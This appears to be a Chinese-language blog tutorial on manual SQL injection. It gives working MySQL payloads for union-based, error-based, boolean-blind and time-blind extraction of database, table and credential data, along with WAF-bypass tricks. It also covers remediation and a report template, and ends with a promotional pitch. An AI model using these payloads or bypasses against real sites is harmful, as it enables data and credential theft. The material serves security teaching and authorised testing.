SQL 注入基础原理 + 手工注入测试步骤详解
前言
SQL 注入是 Web 安全领域最经典、历史最悠久的高危漏洞,不管是 CTF Web 题目、SRC 漏洞挖掘,还是企业渗透测试工作,SQL 注入都是必测的核心漏洞。很多新手一上来就直接使用 SQLMap 一键跑注入,虽然工具方便,但不懂手工注入原理,遇到 WAF 拦截、特殊过滤、复杂场景时就无从下手。
本文从底层原理讲起,先解释 SQL 注入到底是什么、漏洞产生的根源,再详细讲解手工注入完整测试流程:判断注入点、判断注入类型、获取字段数、查询回显位置、爆库名、爆表名、爆字段名、读取数据。同时区分数字型注入、字符型注入,附带常用 Payload、报错注入、布尔盲注、时间盲注基础思路,还有漏洞危害、修复方案以及手工注入常见踩坑点。
读完本篇,你能够独立完成基础手工 SQL 注入,看懂 SQLMap 的执行逻辑,在无法使用工具的场景下手动获取数据库数据。适合 Web 安全入门、准备 SRC 挖掘、面试备考的同学。
⚠️ 免责声明
本文内容仅用于本地靶场、获得书面授权的安全测试环境学习研究。严禁在任何未授权网站、业务系统执行 SQL 注入测试,未经授权的渗透测试属于违法行为,所有违规操作带来的法律责任由操作者自行承担。
一、SQL 注入基础原理
1.1 什么是 SQL 注入
Web 应用程序在访问数据库时,会拼接用户输入的内容到 SQL 语句中执行。如果后端没有对用户输入做过滤、转义,攻击者就可以构造特殊的输入,篡改原本 SQL 语句的逻辑,额外执行数据库查询语句,这个行为就是 SQL 注入。
简单一句话:用户可控输入,直接拼入 SQL 语句执行,没有做安全处理,产生 SQL 注入漏洞。
举个简单例子:
网站登录功能,后端原始 SQL 语句:
select * from user where username='$name' and password='$pass';$name和$pass是前端用户提交的账号密码。
正常用户输入账号 admin,密码 123456,拼接后:
select * from user where username='admin' and password='123456';攻击者账号输入:admin' or 1=1#
拼接之后 SQL 变成:
select * from user where username='admin' or 1=1#' and password='123456';#是 SQL 注释符,注释掉后面单引号内容;or 1=1永远成立,直接绕过登录。这就是最经典的登录框 SQL 注入。
核心关键点:用户输入被当成 SQL 代码执行,而不是单纯当做字符串。
1.2 漏洞产生必要条件
- 用户输入可控(GET 参数、POST 表单、Cookie、HTTP 头、Referer 等位置);
- 输入内容直接拼接进 SQL 语句;
- 没有做转义、过滤、预编译处理;
- Web 程序能够将 SQL 执行结果或者报错信息返回页面(盲注场景不需要直接回显)。
1.3 SQL 注入的危害
SQL 注入属于高危漏洞,危害极大:
- 查询数据库数据,泄露账号、手机号、身份证、订单等敏感信息;
- 修改数据库数据,篡改网站内容、修改管理员密码;
- 删除数据表、清空数据库(
drop、delete语句); - 读取服务器本地文件(MySQL load_file);
- 写入一句话木马到服务器,获取 Webshell,接管服务器;
- 拿下数据库服务器权限,横向渗透内网。
1.4 SQL 注入分类
按照注入方式,分为两大类:
- 有回显注入(联合查询注入 union select)
页面可以直接返回 SQL 查询结果,最容易测试,优先测试。细分:数字型注入、字符型注入。 - 无回显注入(盲注)
页面不会直接返回查询数据,只能根据页面差异判断结果。
- 布尔盲注:页面返回两种状态(正常 / 异常),以此判断条件真假;
- 时间盲注:通过 sleep () 函数,观察页面响应延时判断条件真假;
- 报错注入:页面输出 SQL 报错信息,利用报错带出数据。
二、数字型注入 vs 字符型注入(重点区分)
数字型注入
参数直接作为数字,SQL 语句不带单引号。
示例 URL:shturl.cc/SR2QcjhGT03IzYNIcL
后端 SQL:select * from news where id=1;
测试 Payload:id=1 and 1=2
如果页面内容消失,说明存在数字型注入。
特点:不需要闭合单引号。
字符型注入
参数作为字符串,SQL 语句使用单引号包裹变量,这是最常见的注入类型。
示例 URL:shturl.cc/RTeItToEUFz4tx3Bt'1'
后端 SQL:select * from news where id='1';
测试 Payload:id=1' and 1=2#
需要用单引号闭合前面字符串,注释掉后面多余单引号。
特点:需要构造单引号闭合,新手最容易漏掉单引号导致注入失败。
注释符说明:
#MySQL 行注释;--双横杠加空格(-- 后面必须有空格,MySQL 有效注释);/* 内容 */多行注释。
三、手工联合查询注入完整步骤(有回显场景)
适用场景:页面会展示 SQL 查询的数据,比如新闻详情、用户信息页面。
靶场示例地址:http://127.0.0.1/sqli.php?id=1
步骤 1:判断是否存在注入点
先访问正常链接:?id=1,页面正常显示内容。
- 测试单引号:
?id=1'
页面如果抛出数据库报错,大概率是字符型注入;页面无变化则可能是数字型或者过滤了单引号。 - 逻辑判断测试:
?id=1 and 1=1页面正常;?id=1 and 1=2页面无数据 / 空白;
两次页面返回不一样,说明参数带入 SQL 执行,存在注入。
字符型注入测试 Payload:
?id=1' and 1=2#
步骤 2:查询查询字段数量(order by 排序猜列数)
order by n的作用:按照第 n 列排序,如果表存在 n 列,页面正常;超过列数则报错。
?id=1 order by 1-- ?id=1 order by 2-- ?id=1 order by 3-- ?id=1 order by 4--假设order by 3正常,order by 4页面报错。说明查询语句返回一共3 个字段。
原理:union 联合查询,前后两个 select 查询,字段数量必须完全一致,否则 SQL 报错。
步骤 3:寻找回显位置
union select 联合查询,前面id=1的数据会正常显示,我们需要让前面查询结果为空,只显示 union 后面我们构造查询的数据,所以id=-1(查询不存在 id)。
Payload:
?id=-1 union select 1,2,3--页面会显示 2、3 其中数字,数字所在位置就是回显位,可以在这个位置写查询语句。
比如页面显示2和3,代表第 2 列、第 3 列会输出内容,后续把 2/3 替换成查询函数。
步骤 4:获取当前数据库名称
假设回显位是 2,payload:
?id=-1 union select 1,database(),3--database():MySQL 内置函数,查询当前网站使用的数据库名。
页面返回库名,例如sqli_test。
步骤 5:查询该库下所有数据表名
information_schema 是 MySQL 自带信息库,记录所有库、表、字段元数据,手工注入核心。
Payload:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--group_concat()可以把多条结果合并成一行输出,适合页面单行回显场景。
执行后页面会列出这个库所有表,例如users,news。
如果过滤了 group_concat,可以使用 limit 逐行读取:
limit 0,1读取第一条,limit 1,1第二条。
步骤 6:查询指定数据表里面所有字段名
假设目标表是users,payload:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--页面返回字段,比如id,username,password。
步骤 7:读取表中数据(账号密码)
查询 users 表 username、password 字段数据:
?id=-1 union select 1,group_concat(username,0x7c,password),3 from users--0x7c是十六进制的|,用来分隔账号密码,方便查看。
页面直接输出所有账号密码,注入完成。
四、报错注入基础(无正常回显,但页面打印 SQL 错误)
当页面不会展示查询结果,但是 SQL 语句出错时,会直接打印报错信息,利用报错函数,把查询数据放到报错信息里输出。
MySQL 常用报错函数:updatexml()、extractvalue()。
updatexml 示例 Payload:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)#原理:updatexml 第二个参数要求是合法 xpath 格式,我们构造非法格式,将查询结果放在报错信息中带出。
限制:单次输出字符长度有限,需要截取字符串,适合数据量不大场景。
五、布尔盲注基础(页面只有两种状态,无回显、无报错)
页面不会返回数据,也不会输出报错,输入正确条件页面正常,错误条件页面空白,这就是布尔盲注。
核心思路:逐字符猜解数据,利用 ascii () 获取字符编码,对比判断真假。
示例 Payload,猜数据库名第一个字符:
?id=1' and ascii(substr(database(),1,1))>100#- substr (字符串,起始位置,截取长度),截取第 1 位字符;
- ascii () 获取字符 ASCII 码;
页面正常说明条件成立,字符大于 100;页面异常说明不成立。
不断调整数字,二分法快速猜出每一位 ASCII,转字符拼接得到完整库名、表名、账号密码。
六、时间盲注基础(页面状态无任何变化,只能看延时)
页面不管条件真假,返回页面完全一样,无法通过页面内容判断,就使用 sleep () 延时函数。
当条件为真,执行 sleep (3),页面延迟 3 秒返回;条件为假,页面立刻返回。
Payload:
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)#if (条件,真执行语句,假执行语句)
通过观察页面响应时间,判断条件真假,逐字符猜解数据。
缺点:注入速度很慢,大量请求,容易触发 WAF 和日志告警。
七、POST 型注入、Cookie 注入简单说明
前面演示是 GET 注入,参数放在 URL 中。POST 注入参数放在请求体,Cookie 注入参数放在 Cookie 字段,原理完全一致,只是提交位置不同。
- POST 注入:Burp 抓包,修改 POST 表单参数,测试单引号、and 1=1;
- Cookie 注入:修改 Cookie 里面可控参数,后端读取 Cookie 内容拼接 SQL。
很多新手只看 URL 参数,忽略 POST、Cookie、HTTP 头注入点,实战中需要全部测试。
八、SQL 注入常见过滤与基础绕过思路
实战中经常遇到关键词过滤,简单列举基础绕过方法:
- 空格过滤:使用
/**/代替空格,and/**/1=2; - and、or 被过滤:大小写变形
AnD、Or,或者双写anandd; - 单引号转义:考虑宽字节注入(GBK 编码场景,% df%27 吃掉转义符 \);
- union select 过滤:注释分割
un/**/ion sel/**/ect。
注意:绕过方式要看后端过滤逻辑,没有万能 Payload,需要根据返回信息调整。
九、SQL 注入漏洞修复方案(渗透报告必备)
SQL 注入最根本的解决方案:使用预编译语句(参数化查询),不要直接拼接用户输入到 SQL 语句。
- 优先采用预编译、参数化查询,MyBatis #{}、PHP PDO 预编译,用户输入永远作为参数,不会当成 SQL 代码执行,这是核心防御手段;
- 输入白名单校验,严格限制输入格式(例如 ID 只能是纯数字);
- 最小权限原则:数据库连接账号只分配必要权限,禁止 file、drop 等高权限;
- 关闭 Web 应用详细 SQL 报错,不要把数据库原生错误返回前端;
- 部署 WAF,拦截注入特征 Payload;
- 禁止数据库加载本地文件、写入文件权限;
- 定期代码审计,扫描代码中的 SQL 拼接风险点。
❌ 不推荐:单纯过滤关键词、转义特殊字符。过滤很容易被绕过,不能作为主防护手段。
十、手工注入常见误区
❌ 误区 1:能执行 and 1=1 就可以直接拿到数据。
要看页面是否支持回显,没有回显只能盲注,不能 union 查询。
❌ 误区 2:所有注入都是字符型,每次都直接加单引号。
数字型注入多加单引号会直接报错,需要先判断注入类型。
❌ 误区 3:order by 可以无限大,随便填数字。
order by 数字超过表字段数就会报错,用来判断列数。
❌ 误区 4:group_concat 可以一次性读取超大表所有数据。
很多场景存在长度限制,数据量大时要用 limit 逐行读取。
✅ 实战小技巧:
手工注入顺序:判断注入点 → 判断字符 / 数字型 → 猜字段数 → 找回显位 → 依次爆库、表、字段、数据。
每次修改 Payload,观察页面返回变化,根据报错、页面差异调整语句。
十一、漏洞报告模板参考
漏洞类型:SQL 注入漏洞
漏洞描述:网站新闻查询接口 id 参数未做安全处理,用户可控参数直接拼接进 SQL 语句执行,存在联合查询 SQL 注入漏洞。攻击者可以查询数据库内全部敏感数据,存在严重信息泄露风险。
复现步骤:
- 访问
shturl.cc/jTnxmzSmpMT页面正常展示新闻;- 构造 payload
?id=1' and 1=2#,页面无内容,确认存在字符型注入;- 使用 order by 猜解字段数量,确定字段数为 3;
- 使用 union select 查询,获取当前数据库名;
- 读取数据库内 users 表账号密码等敏感信息。
漏洞危害:攻击者可获取网站数据库全部数据,泄露用户账号密码,甚至读取服务器文件、写入 Webshell,接管服务器。
修复建议:使用预编译参数化查询,禁止直接拼接用户输入;关闭前端数据库详细报错;数据库账号采用最小权限原则。
结尾
SQL 注入的核心不在于背诵大量 Payload,而是理解SQL 语句拼接逻辑。工具 SQLMap 本质也是自动化实现手工注入的整套流程。
手工注入是 Web 安全基本功,熟练手工注入之后,你才能看懂工具的行为,遇到 WAF、过滤、特殊编码场景时,自主构造 Payload 突破限制。
推荐练习靶场:SQLi-Labs,覆盖数字注入、字符注入、报错注入、盲注、POST 注入、Cookie 注入等几乎所有基础注入场景,非常适合从零练习手工注入。
学习完注入之后,可以结合前面文章的文件上传、越权漏洞,形成完整 Web 漏洞挖掘知识体系。
如果文章对你有帮助,欢迎点赞收藏,后续持续更新 Web 安全渗透系列文章。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】